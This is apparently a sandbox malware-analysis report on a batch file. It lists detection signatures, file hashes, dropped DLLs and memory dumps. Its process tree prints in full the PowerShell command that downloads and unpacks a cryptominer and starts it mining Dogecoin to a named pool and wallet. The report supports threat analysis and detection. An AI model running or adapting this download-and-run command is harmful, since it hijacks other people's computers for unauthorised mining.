b1f312f139949cac20d0591831ce57c227c6ac77ebd98edfcdafa5c0b02cd2bb

Analysis

max time kernel
1797s
max time network
1806s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
03-02-2024 17:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

73u3Ito.bat
Size

499B
MD5

fe74bff27516829a88cfbc6f6e99646f
SHA1

0c15d859211c79910b277d07e729bec7197a60cd
SHA256

b1f312f139949cac20d0591831ce57c227c6ac77ebd98edfcdafa5c0b02cd2bb
SHA512

a94dbaef073e7b62ff9827887f1da6837103316c5656719b176ba1c2a063066f5f159b8ca783208db629121beea33fb81a94b9e6f4f4ec2612ee923639947a98

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	660	powershell.exe
4	660	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4476	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4476	cpuminer-sse2.exe
4476	cpuminer-sse2.exe
4476	cpuminer-sse2.exe
4476	cpuminer-sse2.exe
4476	cpuminer-sse2.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
660	powershell.exe
660	powershell.exe
660	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	660	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1624 wrote to memory of 660	1624	cmd.exe	75
PID 1624 wrote to memory of 660	1624	cmd.exe	75
PID 660 wrote to memory of 3324	660	powershell.exe	76
PID 660 wrote to memory of 3324	660	powershell.exe	76
PID 3324 wrote to memory of 4476	3324	cmd.exe	78
PID 3324 wrote to memory of 4476	3324	cmd.exe	78

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\73u3Ito.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Invoke-WebRequest -Uri 'https://github.com/JayDDee/cpuminer-opt/releases/download/v23.15/cpuminer-opt-23.15-windows.zip' -OutFile "$env:TEMP\cpuminer.zip"; Expand-Archive -Path "$env:TEMP\cpuminer.zip" -DestinationPath "$env:TEMP\cpuminer"; Set-Location -Path "$env:TEMP\cpuminer"; Start-Process -FilePath 'cmd.exe' -ArgumentList '/k', 'cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2'"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:660
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /k cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3324
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4476

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jgcn3oij.qw4.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

Filesize
320KB

MD5
59d36bdd941feb6c770ec68a37e8c21b

SHA1
1191d1e478164cd720974ea1ad2bc248999a8d45

SHA256
d5227dca74d9be12116b359c9d61265b102c0986eb6196e269cc3e3b895c0293

SHA512
b1620dd0763f2f7c263ae69c71eba7cba29d89f1bb551356abb7073e4e7013347345c43f2bad3c4733300c5b98feecf2fd91db2a363c9e5dcdd87f170edbe406

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

Filesize
4.9MB

MD5
7df0f05f019cf1d6c6e3a65a4741ad01

SHA1
ea49f6406265c0ee2c0ebad2ee0133009ab98d4a

SHA256
831fb4a0aa4af0c01abf48c3530b4d5927422cc2b76287bd4062d38a4563962f

SHA512
11a931282ba18b6f5695d51a7a82f6075a80f1ee43b457650d758de0808ac417831c1d69e47ee2a000a67a3fee744a55262306e7ba3db99ab59b5301c7351ce0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\cpuminer\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\cpuminer\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

Filesize
7.4MB

MD5
a278ab7f08f5ac64358de22bf1c44adf

SHA1
726e78e0f0db6b2d832d4abdbaa8b71b31a50994

SHA256
776a269e11cc3916ce822a24ddd81b5fa5d1fe892c520047b86ce1994fcd8ab7

SHA512
aabaaf7819c8d588b29643fc40151cbd4b5e815c52838c44e7208a421fd1e1146f75a8ed68f4168811d141fc5bda9596b2fb34af2da6bf5b799a59887556d3de

Download Submit
\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

Filesize
6.4MB

MD5
2a268d17d6422e65ed5977bcd8ad9852

SHA1
6d0d46aa6799217efd7bbfcd5309d704706a639e

SHA256
b8f81b7afa44e9bbd4f710a8a7268921ada69ab029ce83c4f8f7ceea04462d80

SHA512
ce0068cf7ec2771151fc0e5220207d40a325207a02577631998895b6e1ec63ae30b6c0a320efac2886fe06e532e5df3959dbecb3ab057502a72430cd225d1d3a

Download Submit
memory/660-31-0x000001FA67B80000-0x000001FA67B96000-memory.dmp

Filesize
88KB

Download
memory/660-5-0x000001FA676A0000-0x000001FA676B0000-memory.dmp

Filesize
64KB

Download
memory/660-33-0x00007FF8F97E0000-0x00007FF8FA1CC000-memory.dmp

Filesize
9.9MB

Download
memory/660-34-0x000001FA676C0000-0x000001FA676D0000-memory.dmp

Filesize
64KB

Download
memory/660-35-0x000001FA676C0000-0x000001FA676D0000-memory.dmp

Filesize
64KB

Download
memory/660-36-0x000001FA676C0000-0x000001FA676D0000-memory.dmp

Filesize
64KB

Download
memory/660-56-0x000001FA67F30000-0x000001FA67F42000-memory.dmp

Filesize
72KB

Download
memory/660-69-0x000001FA676F0000-0x000001FA676FA000-memory.dmp

Filesize
40KB

Download
memory/660-112-0x00007FF8F97E0000-0x00007FF8FA1CC000-memory.dmp

Filesize
9.9MB

Download
memory/660-28-0x000001FA676C0000-0x000001FA676D0000-memory.dmp

Filesize
64KB

Download
memory/660-13-0x000001FA67BB0000-0x000001FA67C26000-memory.dmp

Filesize
472KB

Download
memory/660-10-0x000001FA67A20000-0x000001FA67B2E000-memory.dmp

Filesize
1.1MB

Download
memory/660-7-0x000001FA676C0000-0x000001FA676D0000-memory.dmp

Filesize
64KB

Download
memory/660-9-0x000001FA676C0000-0x000001FA676D0000-memory.dmp

Filesize
64KB

Download
memory/660-8-0x000001FA67700000-0x000001FA67722000-memory.dmp

Filesize
136KB

Download
memory/660-4-0x000001FA67770000-0x000001FA67802000-memory.dmp

Filesize
584KB

Download
memory/660-6-0x00007FF8F97E0000-0x00007FF8FA1CC000-memory.dmp

Filesize
9.9MB

Download
memory/4476-140-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4476-155-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4476-127-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4476-128-0x00000000580D0000-0x0000000058168000-memory.dmp

Filesize
608KB

Download
memory/4476-129-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4476-135-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4476-126-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4476-143-0x00000000580D0000-0x0000000058168000-memory.dmp

Filesize
608KB

Download
memory/4476-125-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4476-158-0x00000000580D0000-0x0000000058168000-memory.dmp

Filesize
608KB

Download
memory/4476-165-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4476-170-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4476-173-0x00000000580D0000-0x0000000058168000-memory.dmp

Filesize
608KB

Download
memory/4476-185-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4476-188-0x00000000580D0000-0x0000000058168000-memory.dmp

Filesize
608KB

Download